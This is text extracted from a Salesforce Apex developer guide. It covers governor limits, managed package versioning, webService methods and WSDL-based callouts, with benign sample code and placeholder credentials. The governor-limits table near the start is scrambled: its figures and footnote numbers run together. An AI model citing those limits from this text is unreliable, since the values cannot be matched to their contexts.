If an Apex script has a bug or does not catch a script-level exception: The end user sees a simple explanation of the problem in the application interface. This error message includes the Apex stack trace. The developer specified in the LastModifiedBy field receives the error via email with the Apex stack trace and the customer's organization and user ID. No other customer data is returned with the report.

Understanding Execution Governors and Limits

Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces a number of limits to ensure that runaway scripts do not monopolize shared resources. These limits, or governors, track and enforce the statistics outlined in the following table. If a script ever exceeds a limit, the associated governor issues a runtime exception that cannot be handled. Governor limits are applied based on the entry point of your code. For example, if you have an anonymous block call a trigger, the limits that Apex runtime engine uses are the limits for the anonymous block, not for the trigger. Governor limits apply to an entire organization, as well as to specific, certified namespaces. For example, if you install a certified managed package from Force.com AppExchange, (that is, an app that has been marked AppExchange Certified) the components in the package belong to a namespace unique from other components in your organization. Consequently, any Apex scripts in that package can issue up to 20 DML statements while executing. In addition, any Apex script that is native to your organization can also issue up to 20 DML statements, meaning more than 20 DML statements might execute during a single transaction if scripts from the certified managed package and your native organization both execute. Conversely, if you install a package from AppExchange that is not marked AppExchange Certified, the scripts from that package do not have their own separate governor limit count. Any resources they use count against the total for your organization. Cumulative resource messages and warning emails are also generated based on certified managed package namespaces as well. For more information on AppExchange Certified packages, see the Force.com AppExchange online help.

166

Debugging Apex

Understanding Execution Governors and Limits

Limit

Trigger

Anonymous Block, Test1 Visualforce Controller, or WSDL Method 1008 10,0008 20

8

Total number of SOQL queries issued2 Total number of records retrieved by SOQL queries Total number of SOSL queries issued Total number of records retrieved by a single SOSL query

20 1,0006 0 0

100 500 20 200 100

2008 1008

Total number of DML statements issued (insert, update, 20 upsert, merge, delete, or database.emptyRecycleBin) Total number of records processed as a result of DML statements or database.emptyRecycleBin Total number of executed script statements3 Total heap size
3

1006 10,0004 6 200,000 bytes

3

10,0008 200,000 2,000,000 bytes 168 100,000 200 1,0003 1,0003 1,0003 58 20 10 10 60 seconds 120 seconds 10 1 MB 1 MB 20 10
8 3

500 20,000 1,000,000 bytes3 16 500,000 n/a 1,0003 1,0003 1,0003 5 20 10 10 60 seconds 120 seconds 10 1 MB 1 MB 20 10

Total stack depth for any Apex invocation that recursively 16 fires triggers due to insert, update, or delete statements5 Total number of characters for a single String For loop list batch size Total number of elements in a single List Total number of elements in a single Set Total number of elements in a single Map Total number of Savepoint variables that can be set Total number of rollback methods allowed Total number of Web service methods allowed Total number of callouts (HTTP requests or Web services calls) in a transaction Total request time for one callout (HTTP request or Web services call) Total request time for all callouts (HTTP requests or Web services calls) in a transaction 100,000 n/a 1,0003 1,0003 1,0003 5 20 10 10 60 seconds 120 seconds

Total number of methods with the future annotation allowed 10 per Apex invocation7 Maximum size of WSDL if converted to Apex 1 MB

Maximum size of SOAP response to a callout (Web services 1 MB call) Total number of runAs calls when specifying a user allowed 20 Total number of sendEmail methods allowed 10

167

Debugging Apex

Understanding Execution Governors and Limits

Limit

Trigger

Anonymous Block, Test1 Visualforce Controller, or WSDL Method 10 10 5 10 10 10 5 10

Total number of ChildRelationship, RecordTypeInfo and PicklistEntry objects allowed Total number of fields calls allowed Total number of items (such as ideas) returned by the findSimilar method Total number of findSimilar calls allowed
1 2

10 10 5 10

Test limits apply individually to each testMethod.

In a SOQL query with parent-child relationship sub-queries, each parent-child relationship counts as an additional query. These types of queries have a limit of three times the number for top-level queries. The row counts from these relationship queries contribute to the row counts of the overall script execution.
3

These limits scale with trigger batch size as follows: For 1-40 records, the normal limits apply For 41-80 records, two times the normal limits apply For 81-120 records, three times the normal limits apply For 121-160 records, four times the normal limits apply For 161 or more records, five times the normal limits apply

Trigger context is 10,000 statements plus 200 times the number of records in the top level call. For example, a DML statement that processes 200 records is subject to a limit of 10,000 + 200*200, which equals 50,000 statements. For a call with the future annotation, the limit is 10,000 statements.
5

Recursive Apex that does not fire any triggers with insert, update, or delete statements exists in a single invocation, with a single stack. Conversely, recursive Apex that fires a trigger spawns the trigger in a new Apex invocation, separate from the invocation of the code that caused it to fire. Because spawning a new invocation of Apex is a more expensive operation than a recursive call in a single invocation, there are tighter restrictions on the stack depth of these types of recursive calls.
6

These limits scale with trigger batch size. The limit is multiplied by the number of records submitted. For example, if your batch process contains 200 records, your script may retrieve as many as 200,000 records.
7

Salesforce.com also imposes an organization-wide limit of 200 method calls with the future annotation per license per 24 hours.
8

These limits are set to 0 for Visualforce controllers associated with custom components because those controllers cannot execute SOQL, SOSL, or DML statements. For more information, see Custom Component Controllers in the Visualforce Developer's Guide. Use the Limits methods to determine the script execution limits for your code while it is running. For example, you can use the getDMLStatements method to determine the number of DML statements that have already been called by your program, or the getLimitDMLStatements method to determine the total number of DML statements available to your code in that context. For more information, see Limits Methods in the Apex Code Developer's Guide. Note: Static variable values are reset between API batches, but governor limits are not. Do not use static variables to track state information on API batches, because Salesforce.com may break up a batch into smaller chunks than the batch size you specify.

168

Debugging Apex

Using Governor Limit Email Warnings

In addition to the execution governor limits, Apex has the following limits: Maximum number of characters for a class: 100,000 Maximum number of characters for a trigger: 32,000 Maximum amount of code used by all Apex scripts in an organization: 1 MB Note: This limit does not apply to certified managed packages installed from AppExchange, (that is, an app that has been marked AppExchange Certified). The code in those types of packages belong to a namespace unique from the code in your organization. For more information on AppExchange Certified packages, see the Force.com AppExchange online help. This limit also does not apply to any code included in a class defined with the @isTest annotation. For more information, see IsTest in the Apex Code Developer's Guide. A user can have up to five query cursors open at a time. If five cursors are opened when a client application, still logged in as the same user, attempts open a new one, the oldest of the five cursors is released. Note: Cursor limits for different Force.com features are tracked separately. For example, you can have five Apex query cursors open and five batch cursors at the same time.

See Also:
What are the Limitations of Apex?

Using Governor Limit Email Warnings

When an end-user invokes an Apex script that surpasses more than 50% of any governor limit, you can specify a user in your organization to receive an email notification of the event with additional details. To enable email warnings: 1. 2. 3. 4. 5. Log in to Salesforce.com as an administrator user. Click Setup Manage Users Users. Click Edit next to the name of the user who should receive the email notifications. Select the Send Apex Warning Emails option. Click Save.

169

Chapter 10
Developing Apex in Managed Packages
In this chapter ... Package Versions Deprecating Apex Behavior in Package Versions
A package is a container for something as small as an individual component or as large as a set of related apps. After you create a package, you can distribute it to other Salesforce.com users and organizations, including those outside your company. An organization can create a single managed package that can be downloaded and installed by many different organizations. They differ from unmanaged packages in that some components are locked, allowing the managed package to be upgraded later. Unmanaged packages do not include locked components and cannot be upgraded. This section includes the following topics related to developing Apex in managed packages: Package Versions Deprecating Apex Behavior in Package Versions

170

Developing Apex in Managed Packages

Package Versions

Package Versions
A package version is a set of components uploaded in a package. It is denoted by a version number that has the format majorNumber.minorNumber.patchNumber such as 2.1.3. Note that the patchNumber is generated only when you create a patch. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program. For information on enabling patch versions for your organization, contact salesforce.com. Unmanaged packages are not upgradeable so each package version is simply a set of components for distribution. A package version has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. When an existing subscriber installs a new package version, there is still only one instance of each component in the package, but the components can emulate older versions. For example, a subscriber may be using a managed package that contains an Apex class. If the publisher decides to deprecate a method in the Apex class and release a new package version, the subscriber still sees only one instance of the Apex class after installing the new version. However, this Apex class can still emulate the previous version for any code that references the deprecated method in the older version. Note the following when developing Apex in managed packages: Managed packages receive a unique namespace. This namespace is automatically prepended to your script class names, methods, variables, and so on, which helps prevent duplicate names in the installer's organization. The code contained in an Apex script that is part of a managed package is automatically obfuscated and cannot be viewed in an installing organization. The only exceptions are methods declared as global, meaning that the method signatures can be viewed in an installing organization. Package developers can use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, and variables that can no longer be referenced in subsequent releases of the managed package in which they reside. This is useful when you are refactoring code in managed packages as the requirements evolve. You can write test methods that change the package version context to a different package version by using the system method runAs. You cannot add a method to an interface or to an abstract or virtual class after the class has been uploaded in a Managed - Released package version. An Apex script contained in an unmanaged package that explicitly references a namespace cannot be uploaded.

Deprecating Apex
Package developers can use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, and variables that can no longer be referenced in subsequent releases of the managed package in which they reside. This is useful when you are refactoring code in managed packages as the requirements evolve. After you upload another package version as Managed - Released, new subscribers that install the latest package version cannot see the deprecated elements, while the elements continue to function for existing subscribers and API integrations. A deprecated identifier can still be referenced internally by the package developer. Note: You cannot use the deprecated annotation in Apex classes or triggers in unmanaged packages.

Package developers can use Managed - Beta package versions for evaluation and feedback with a pilot set of users in different Salesforce.com organizations. If a developer deprecates an Apex identifier and then uploads a version of the package as Managed - Beta, subscribers that install the package version still see the deprecated identifier in that package version. If the package

171

Developing Apex in Managed Packages

Behavior in Package Versions

developer subsequently uploads a Managed - Released package version, subscribers will no longer see the deprecated identifier in the package version after they install it.

Behavior in Package Versions

A package component can exhibit different behavior in different package versions. This behavior versioning allows you to add new components to your package and refine your existing components, while still ensuring that your code continues to work seamlessly for existing subscribers. If a package developer adds a new component to a package and uploads a new package version, the new component is available to subscribers that install the new package version.

Versioning Apex Code Behavior

Apex has special syntax so that package developers can use conditional logic in classes and triggers to exhibit different behavior for different versions. This allows the package developer to continue to support existing behavior in classes and triggers in previous package versions while continuing to evolve the code. When subscribers install multiple versions of your package and write code that references Apex classes or triggers in your package, they must select the version that they are referencing. Within the Apex code that is being referenced in your package, you can conditionally execute different code paths based on the version setting of the calling Apex code that is making the reference. The package version setting of the calling code can be determined within the package code by accessing the Package.Version.Request object. Package developers can use this object and accompanying methods to determine the request context and exhibit different behavior for different versions of the package. The following sample shows different behavior in a trigger for different package versions
trigger oppValidation on Opportunity (before insert, before update) { for(Opportunity o : Trigger.new){ // New validation added in package version 1.5 // Applies to all version of the managed package, except 1.0 If(Package.Version.Request.isGreaterThan(Package.Version.1.0)){ If(o.Probability >= 50 && o.Description == NULL){ o.addError('All deals over 50% require a description'); } } // Validation applies to all versions of the managed package If(o.IsWon == true && o.LeadSource == NULL){ o.addError('A lead source must be provided for all Closed Won deals'); } } }

For a full list of methods that work with package versions, see Package Methods on page 274. Note: You cannot use the Package.Version.Request object in unmanaged packages.

The request context is persisted if a class in the installed package invokes a method in another class in the package. For example, a subscriber has installed a GeoReports package that contains CountryUtil and ContinentUtil Apex classes. The subscriber creates a new GeoReportsEx class and uses the version settings to bind it to version 2.3 of the GeoReports package. If GeoReportsEx invokes a method in ContinentUtil which internally invokes a method in CountryUtil, the request context is propagated from ContinentUtil to CountryUtil and the Package.Version.Request variable in CountryUtil refers to version 2.3 of the GeoReports package.

172

Developing Apex in Managed Packages

Apex Code Identifiers that Are Not Versioned

Apex Code Identifiers that Are Not Versioned

You can change the behavior of some Apex identifiers across package versions. For example, you can deprecate a method so that new subscribers can no longer reference the package in a subsequent version. However, the following list of modifiers, keywords, and annotations cannot be versioned. If a package developer makes changes to one of the following modifiers, keywords, or annotations, the changes are reflected across all package versions. There are limitations on the changes that you can make to some of these identifiers when they are used in Apex code in managed packages. Package developers can add or remove the following identifiers:
@future @isTest with sharing without sharing transient

Package developers can make limited changes to the following identifiers:

privatecan be changed to global publiccan be changed to global protectedcan be changed to global abstractcan be changed to virtual but cannot be removed finalcan be removed but cannot be added

Package developers cannot remove or change the following identifiers:

global virtual

Package developers can add the webService keyword, but once it has been added, it cannot be removed. Note: You cannot deprecate webService methods or variables in managed package code.

Testing Behavior in Package Versions

When you change the behavior in an Apex class or trigger for different package versions, it is important to test that your code runs as expected in the different package versions. You can write test methods that change the package version context to a different package version by using the system method runAs. You can only use runAs in a test method. This method effectively sets the Package.Version.Request object in a test method. The following sample shows a trigger with different behavior for different package versions.
trigger oppValidation on Opportunity (before insert, before update) { for(Opportunity o : Trigger.new){ // Add a new validation to the package // Applies to versions of the managed package greater than 1.0 If(Package.Version.Request.isGreaterThan(Package.Version.1.0)){ If(o.Probability >= 50 && o.Description == NULL){ o.addError('All deals over 50% require a description'); } }

173

Developing Apex in Managed Packages

Testing Behavior in Package Versions

// Add a new validation to the package. // This validation applies to all versions of the managed package. If(o.IsWon == true && o.LeadSource == NULL){ o.addError('A lead source must be provided for all Closed Won deals'); } } }

The following is the test class that verifies the trigger's behavior:
@isTest public class OppTriggerTests{ static testMethod void testOppValidation(){ // Set up 50% opportunity with no description Opportunity o = new Opportunity(); o.Name = 'Test Job'; o.Probability = 50; o.StageName = 'Prospect'; o.CloseDate = System.today(); // Test running as latest package version try{ insert o; } catch(System.DMLException e){ System.assert( e.getMessage().contains( 'All deals over 50% require a description'), e.getMessage()); } // Run test as managed package version 1.0 System.runAs(Package.Version.1.0){ try{ insert o; } catch(System.DMLException e){ System.assert(false, e.getMessage()); } } // Set up a closed won opportunity with no lead source o = new Opportunity(); o.Name = 'Test Job'; o.Probability = 50; o.StageName = 'Prospect'; o.CloseDate = System.today(); o.StageName = 'Closed Won'; // Test running as latest package version try{ insert o; } catch(System.DMLException e){ System.assert( e.getMessage().contains( 'A lead source must be provided for all Closed Won deals'), e.getMessage()); } // Run test as managed package version 1.0

174

Developing Apex in Managed Packages

Testing Behavior in Package Versions

System.runAs(Package.Version.1.0){ try{ insert o; } catch(System.DMLException e){ System.assert( e.getMessage().contains( 'A lead source must be provided for all Closed Won deals'), e.getMessage()); } } } }

175

Chapter 11
Apex Web Service Integration
In this chapter ... WebService Methods SOAP Services: Defining a Class from a WSDL Document
Apex provides integration with Web services that utilize SOAP and WSDL, or HTTP services (RESTful services): You can expose your Apex scripts so that external applications can access your code and your application. To expose your Apex scripts, use the WebService Methods or SOAP Services: Defining a Class from a WSDL Document. You can access external Web services using Apex. The services can use either SOAP and WSDL, or HTTP services, also called RESTful services. For more information, see HTTP (RESTful) Services Classes on page 334.

176

Apex Web Service Integration

WebService Methods

WebService Methods
Apex class methods can be exposed as custom Force.com Web Services API calls and used to access external servers. Use the webService keyword to define these methods. For example:
global class MyWebService { webService static Id makeContact(String lastName, Account a) { Contact c = new Contact(lastName = 'Weissman', AccountId = a.Id); insert c; return c.id; } }

You can download a WSDL from the Apex class detail page: 1. In the application navigate to Setup Develop Apex Classes. 2. Click the name of a class that contains webService methods. 3. Click Generate WSDL.

Exposing Data with WebService Methods

Invoking a custom WebService method always uses System context. Consequently, the current user's credentials are not used, and any user who has access to these methods can use their full power, regardless of permissions, field-level security, or sharing rules. Developers who expose methods with the webService keyword should therefore take care that they are not inadvertently exposing any sensitive data. Caution: Apex class methods that are exposed through the API with the webService keyword do not observe object permissions, field-level security, or sharing rules for any records, unless the methods are contained in a class defined using the with sharing keyword. Only classes defined using with sharing respect sharing rules for current user.

Considerations for Using the WebService Keyword

When using the webService keyword, keep the following considerations in mind: You cannot use the webService keyword when defining a class. However, you can use it to define top-level, outer class methods, and methods of an inner class. You cannot use the webService keyword to define an interface, or to define an interface's methods and variables. System-defined enums cannot be used in Web service methods. You cannot use the webService keyword in a trigger as you cannot define a method in a trigger. All classes that contain methods defined with the webService keyword must be declared as global. If a method or inner class is declared as global, the outer, top-level class must also be defined as global. Methods defined with the webService keyword are inherently global. These methods can be used by any Apex script that has access to the class. You can consider the webService keyword as a type of access modifier that enables more access than global. You must define any method that uses the webService keyword as static. You cannot deprecate webService methods or variables in managed package code. Because there are no SOAP analogs for certain Apex elements, methods defined with the webService keyword cannot take the following elements as parameters. While these elements can be used within the method, they also cannot be marked as return values. Maps

177

Apex Web Service Integration

Overloading Web Service Methods

Sets Pattern objects Matcher objects Exception objects

You must use the webService keyword with any member variables that you want to expose as part of a Web service. You should not mark these member variables as static. Salesforce.com denies access to Web service and executeanonymous requests from an AppExchange package that has Restricted access. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

The following example shows a class with Web service member variables as well as a Web service method:
global class SpecialAccounts { global class AccountInfo { WebService String AcctName; WebService Integer AcctNumber; } WebService static Account createAccount(AccountInfo info) { Account acct = new Account(); acct.Name = info.AcctName; acct.AccountNumber = String.valueOf(info.AcctNumber); insert acct; return acct; } WebService static Id [] createAccounts(Account parent, Account child, Account grandChild) { insert parent; child.parentId = parent.Id; insert child; grandChild.parentId = child.Id; insert grandChild; Id [] results = new Id[3]; results[0] = parent.Id; results[1] = child.Id; results[2] = grandChild.Id; return results; } TestMethod static void testAccountCreate() { AccountInfo info = new AccountInfo(); info.AcctName = 'Manoj Cheenath'; info.AcctNumber = 12345; Account acct = SpecialAccounts.createAccount(info); System.assert(acct != null); } }

You can invoke this Web service using AJAX. For more information, see Apex in AJAX on page 81.

Overloading Web Service Methods

SOAP and WSDL do not provide good support for overloading methods. Consequently, Apex does not allow two methods marked with the webService keyword to have the same name. Web service methods that have the same name in the same class generate a compile-time error.

178

Apex Web Service Integration

SOAP Services: Defining a Class from a WSDL Document

SOAP Services: Defining a Class from a WSDL Document

Classes can be automatically generated from a WSDL document that is stored on a local hard drive or network. Creating a class by consuming a WSDL document allows developers to make callouts to the external Web service in their Apex scripts. Note: Use Outbound Messaging to handle integration solutions when possible. Use callouts to third-party Web services only when necessary. To generate an Apex class from a WSDL: 1. In the application, click Setup Develop Apex Classes. 2. Click Generate from WSDL. 3. Click Browse to navigate to a WSDL document on your local hard drive or network, or type in the full path. This WSDL document is the basis for the Apex class you are creating and must be 1 MB or less. Note: The WSDL document that you specify may contain a SOAP endpoint location that references an outbound port. For security reasons, Salesforce.com restricts the outbound ports you may specify to one of the following: 80: This port only accepts HTTP connections. 443: This port only accepts HTTPS connections. 7000-10000 (inclusive): These ports accept HTTP or HTTPS connections.

4. Click Parse WSDL to verify the WSDL document contents. The application generates a default class name for each namespace in the WSDL document and reports any errors. Parsing will fail if the WSDL contains schema types or schema constructs that are not supported by Apex classes, or if the resulting classes would exceed 100,000 character limit on Apex classes. For example, the Salesforce.com SOAP API WSDL cannot be parsed. 5. Modify the class names as desired. While you can save more than one WSDL namespace into a single class by using the same class name for each namespace, Apex classes can be no more than 100,000 characters total. 6. Click Generate Apex. The final page of the wizard shows which classes were successfully generated, along with any errors from other classes. The page also provides a link to view the generated code if it was successful. The successfully generated Apex class includes stub and type classes for calling the third-party Web service represented by the WSDL document. These classes allow you to call the external Web service from Apex. The SOAP request from, and response to, calls is limited to 1 MB or less. Note: If a WSDL document contains an Apex reserved word, the word is appended with _x when the Apex class is generated. For example, upsert in a WSDL document would be converted to upsert_x in the generated Apex class. See Reserved Keywords on page 378. For details on handling characters in element names in a WSDL that are not supported in Apex variable names, see Considerations Using WSDLs on page 186. After you have generated a class from the WSDL, you can invoke the external service referenced by the WSDL. Note: Before you can use the samples in the rest of this topic, you must copy the Apex class docSampleClass from Understanding the Generated Code on page 184 and add it to your organization.

179

Apex Web Service Integration

Invoking an External Service

Invoking an External Service

To invoke an external service after using its WSDL document to generate an Apex class, create an instance of the stub in your Apex script and call the methods on it. For example, to invoke the StrikeIron IP address lookup service from Apex, you could write a script similar to the following:
// Create the stub strikeironIplookup.DNSSoap dns = new strikeironIplookup.DNSSoap(); // Set up the license header dns.LicenseInfo = new strikeiron.LicenseInfo(); dns.LicenseInfo.RegisteredUser = new strikeiron.RegisteredUser(); dns.LicenseInfo.RegisteredUser.UserID = '[email protected]'; dns.LicenseInfo.RegisteredUser.Password = 'your-password'; // Make the Web service call strikeironIplookup.DNSInfo info = dns.DNSLookup('www.myname.com');

HTTP Header Support

You can set the HTTP headers on a Web service callout. For example, you can use this feature to set the value of a cookie in an authorization header. To set HTTP headers, add inputHttpHeaders_x and outputHttpHeaders_x to the stub. Note: In API versions 16.0 and earlier, HTTP responses for callouts are always decoded using UTF-8, regardless of the Content-Type header. In API versions 17.0 and later, HTTP responses are decoded using the encoding specified in the Content-Type header. The following samples work with the sample WSDL file in Understanding the Generated Code on page 184: Sending HTTP Headers on a Web Service Callout
docSample.DocSamplePort stub = new docSample.DocSamplePort(); stub.inputHttpHeaders_x = new Map<String, String>(); //Setting a basic authentication header stub.inputHttpHeaders_x.put('Authorization', 'Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ=='); //Setting a cookie header stub.inputHttpHeaders_x.put('Cookie', 'name=value'); //Setting a custom HTTP header stub.inputHttpHeaders_x.put('myHeader', 'myValue'); String input = 'This is the input string'; String output = stub.EchoString(input);

If a value for inputHttpHeaders_x is specified, it overrides the standard headers set. Accessing HTTP Response Headers from a Web Service Callout Response
docSample.DocSamplePort stub = new docSample.DocSamplePort(); stub.outputHttpHeaders_x = new Map<String, String>(); String input = 'This is the input string'; String output = stub.EchoString(input); //Getting cookie header String cookie = stub.outputHttpHeaders_x.get('Set-Cookie');

180

Apex Web Service Integration

Callout Timeouts

//Getting custom header String myHeader = stub.outputHttpHeaders_x.get('My-Header');

The value of outputHttpHeaders_x is null by default. You must set outputHttpHeaders_x before you have access to the content of headers in the response.

Callout Timeouts
The following limits apply when an Apex script makes a callout to an HTTP request or a Web services call. The Web services call can be a Force.com Web Services API call or any external Web services call. A single Apex transaction can make a maximum of 10 callouts to an HTTP request or an API call. The default timeout is 10 seconds. A custom timeout can be defined for each callout. The minimum is 1 millisecond and the maximum is 60 seconds. See the following examples for how to set custom timeouts for Web Services or HTTP callouts. The maximum cumulative timeout for callouts by a single Apex transaction is 120 seconds. This time is additive across all callouts invoked by the Apex transaction.

The following is an example of setting a custom timeout for Web services callouts:
docSample.DocSamplePort stub = new docSample.DocSamplePort(); stub.timeout_x = 2000; // timeout in milliseconds

The following is an example of setting a custom timeout for HTTP callouts:

HttpRequest req = new HttpRequest(); req.setTimeout(2000); // timeout in milliseconds

Client Certificate Support

You can send a client certificate with your callout to authenticate an HTTPS connection with a specified value. Perform the following tasks to support client certificates: 1. Set up your Web server to request the SSL client certificate, also referred to as setting up two-way SSL. This process depends on the type of Web server you use and other environmental factors. An example of how to set up two-way SSL with Tomcat on Java has been posted to this blog: http://www.vorburger.ch/blog1/2006/08/setting-up-two-way-mutual-ssl-with.html. 2. Generate a PKCS12 key store with your client certificate. 3. Verify that the server's trust keystore contains (accepts) your client certificate. 4. Encode your client certificate key store in base64, and assign it to a variable on the stub, in this case, clientCert_x. Note: The client certificate you use should be one obtained from a third party for your organization. Do not use the client certificate available from the Salesforce.com user interface. The following example illustrates the last step of the previous procedure and works with the sample WSDL file in Understanding the Generated Code on page 184:
docSample.DocSamplePort stub = new docSample.DocSamplePort(); stub.clientCert_x = 'MIIGlgIBAzCCBlAGCSqGSIb3DQEHAaCCBkEEggY9MIIGOTCCAe4GCSqGSIb3DQEHAaCCAd8EggHb'+ 'MIIB1zCCAdMGCyqGSIb3DQEMCgECoIIBgjCCAX4wKAYKKoZIhvcNAQwBAzAaBBSaUMlXnxjzpfdu'+ '6YFwZgJFMklDWFyvCnQeuZpN2E+Rb4rf9MkJ6FsmPDA9MCEwCQYFKw4DAhoFAAQU4ZKBfaXcN45w'+ '9hYm215CcA4n4d0EFJL8jr68wwKwFsVckbjyBz/zYHO6AgIEAA=='; // Password for the keystore

181

Apex Web Service Integration

Supported WSDL Features

stub.clientCertPasswd_x = 'passwd'; String input = 'This is the input string'; String output = stub.EchoString(input);

Supported WSDL Features

Apex supports only the document literal wrapped WSDL style and the following primitive and built-in datatypes: Schema Type
xsd:anyURI xsd:boolean xsd:date xsd:dateTime xsd:double xsd:float xsd:int xsd:integer xsd:language xsd:long xsd:Name xsd:NCName xsd:nonNegativeInteger xsd:NMTOKEN xsd:NMTOKENS xsd:normalizedString xsd:NOTATION xsd:positiveInteger xsd:QName xsd:short xsd:string xsd:time xsd:token xsd:unsignedInt xsd:unsignedLong xsd:unsignedShort

Apex Type String Boolean Date Datetime Double Double Integer Integer String Long String String Integer String String String String Integer String Integer String Datetime String Integer Long Integer

182

Apex Web Service Integration

Supported WSDL Features

Note: The Salesforce.com dataype anyType is not supported in WSDLs used to generate Apex code that is saved using API version 15.0 and later. For code saved using API version 14.0 and earlier, anyType is mapped to String. Apex also supports the following schema constructs:
xsd:all, in Apex code saved using API version 15.0 and later xsd:annotation, in Apex code saved using API version 15.0 and later xsd:attribute, in Apex code saved using API version 15.0 and later xsd:choice, in Apex code saved using API version 15.0 and later xsd:element. In Apex code saved using API version 15.0 and later, the ref attribute is also supported with the following

restrictions: You can call a ref in a different namespace by specifying the namespace. A global element cannot use ref If an element contains ref, it cannot also contain name or type

xsd:sequence

The following data types are only supported when used as call ins, that is, when an external Web service calls an Apex Web service method. These data types are not supported as callouts, that is, when an Apex Web service method calls an external Web service. blob decimal enum

Apex does not support any other WSDL constructs, types, or services, including: RPC/encoded services WSDL files with mulitple portTypes, multiple services, or multiple bindings WSDL files that import external schemas. For example, the following WSDL fragment imports an external schema, which is not supported:
<wsdl:types> <xsd:schema elementFormDefault="qualified" targetNamespace="http://s3.amazonaws.com/doc/2006-03-01/"> <xsd:include schemaLocation="AmazonS3.xsd"/> </xsd:schema> </wsdl:types>

However, an import within the same schema is supported. In the following example, the external WSDL is pasted into the WSDL you are converting:
<wsdl:types> <xsd:schema xmlns:tns="http://s3.amazonaws.com/doc/2006-03-01/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" targetNamespace="http://s3.amazonaws.com/doc/2006-03-01/"> <xsd:element name="CreateBucket"> <xsd:complexType> <xsd:sequence> [...] </xsd:schema> </wsdl:types>

183

Apex Web Service Integration

Understanding the Generated Code

Any schema types not documented in the previous table WSDLs that exceed the size limit, including the Salesforce.com WSDLs

Understanding the Generated Code

The following example shows how an Apex class is created from a WSDL document. The following code shows a sample WSDL document:
<wsdl:definitions xmlns:http="http://schemas.xmlsoap.org/wsdl/http/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:s="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://doc.sample.com/docSample" targetNamespace="http://doc.sample.com/docSample" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"> <!-- Above, the schema targetNamespace maps to the Apex class name. --> <!-- Below, the type definitions for the parameters are listed. Each complexType and simpleType parameteris mapped to an Apex class inside the parent class for the WSDL. Then, each element in the complexType is mapped to a public field inside the class. --> <wsdl:types> <s:schema elementFormDefault="qualified" targetNamespace="http://doc.sample.com/docSample"> <s:element name="EchoString"> <s:complexType> <s:sequence> <s:element minOccurs="0" maxOccurs="1" name="input" type="s:string" /> </s:sequence> </s:complexType> </s:element> <s:element name="EchoStringResponse"> <s:complexType> <s:sequence> <s:element minOccurs="0" maxOccurs="1" name="EchoStringResult" type="s:string" /> </s:sequence> </s:complexType> </s:element> </s:schema> </wsdl:types> <!--The stub below defines operations. --> <wsdl:message name="EchoStringSoapIn"> <wsdl:part name="parameters" element="tns:EchoString" /> </wsdl:message> <wsdl:message name="EchoStringSoapOut"> <wsdl:part name="parameters" element="tns:EchoStringResponse" /> </wsdl:message> <wsdl:portType name="DocSamplePortType"> <wsdl:operation name="EchoString"> <wsdl:input message="tns:EchoStringSoapIn" /> <wsdl:output message="tns:EchoStringSoapOut" /> </wsdl:operation> </wsdl:portType> <!--The code below defines how the types map to SOAP. --> <wsdl:binding name="DocSampleBinding" type="tns:DocSamplePortType"> <wsdl:operation name="EchoString">

184

Apex Web Service Integration

Understanding the Generated Code

<soap:operation soapAction="urn:dotnet.callouttest.soap.sforce.com/EchoString" style="document" /> <wsdl:input> <soap:body use="literal" /> </wsdl:input> <wsdl:output> <soap:body use="literal" /> </wsdl:output> </wsdl:operation> </wsdl:binding> <!-- Finally, the code below defines the endpoint, which maps to the endpoint in the class --> <wsdl:service name="DocSample"> <wsdl:port name="DocSamplePort" binding="tns:DocSampleBinding"> <soap:address location="http://www.qaresponder.info/WebServices/DocSample.asmx" /> </wsdl:port> </wsdl:service> </wsdl:definitions>

From this WSDL document, the following Apex class can be generated:
//Generated by wsdl2apex public class docSample { public class EchoStringResponse_element { public String EchoStringResult; private String[] EchoStringResult_type_info = new String[]{ 'EchoStringResult', 'http://www.w3.org/2001/XMLSchema', 'string','0','1','false'}; private String[] apex_schema_type_info = new String[]{ 'http://doc.sample.com/docSample', 'true'}; private String[] field_order_type_info = new String[]{ 'EchoStringResult'}; } public class DocSamplePort { public String endpoint_x = 'http://www.qaresponder.info/WebServices/DocSample.asmx'; private String[] ns_map_type_info = new String[]{ 'http://doc.sample.com/docSample', 'docSample'}; public String EchoString(String input) { docSample.EchoString_element request_x = new docSample.EchoString_element(); docSample.EchoStringResponse_element response_x; request_x.input = input; Map<String, docSample.EchoStringResponse_element> response_map_x = new Map<String, docSample.EchoStringResponse_element>(); response_map_x.put('response_x', response_x); WebServiceCallout.invoke( this, request_x, response_map_x,

185

Apex Web Service Integration

Considerations Using WSDLs

new String[]{endpoint_x, 'urn:dotnet.callouttest.soap.sforce.com/EchoString', 'http://doc.sample.com/docSample', 'EchoString', 'http://doc.sample.com/docSample', 'EchoStringResponse', 'docSample.EchoStringResponse_element'} ); response_x = response_map_x.get('response_x'); return response_x.EchoStringResult; } } public class EchoString_element { public String input; private String[] input_type_info = new String[]{ 'input', 'http://www.w3.org/2001/XMLSchema', 'string','0','1','false'}; private String[] apex_schema_type_info = new String[]{ 'http://doc.sample.com/docSample', 'true'}; private String[] field_order_type_info = new String[]{'input'}; } }

